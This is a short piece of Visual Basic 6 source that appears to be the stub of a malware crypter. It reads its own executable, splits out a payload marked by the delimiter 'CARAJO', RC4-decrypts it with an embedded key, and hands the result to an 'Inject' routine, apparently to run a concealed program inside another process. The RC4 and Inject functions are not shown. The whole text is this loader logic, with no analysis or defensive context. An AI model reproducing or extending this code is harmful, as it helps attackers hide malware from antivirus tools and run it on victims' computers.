Sub Main()

Dim ABC() As Byte
Dim DEF() As String
Dim GHI As String
Dim JLM As String



JLM = App.Path & "\" & App.EXEName & ".exe"


Open JLM For Binary As #1
GHI = Space(LOF(1))
Get #1, , GHI
Close #1



DEF = Split(GHI, "CARAJO")

DEF(1) = RC4(DEF(1), DEF(2))

ABC = StrConv(DEF(1), vbFromUnicode)

Call Inject(ABC, JLM, Command)

End Sub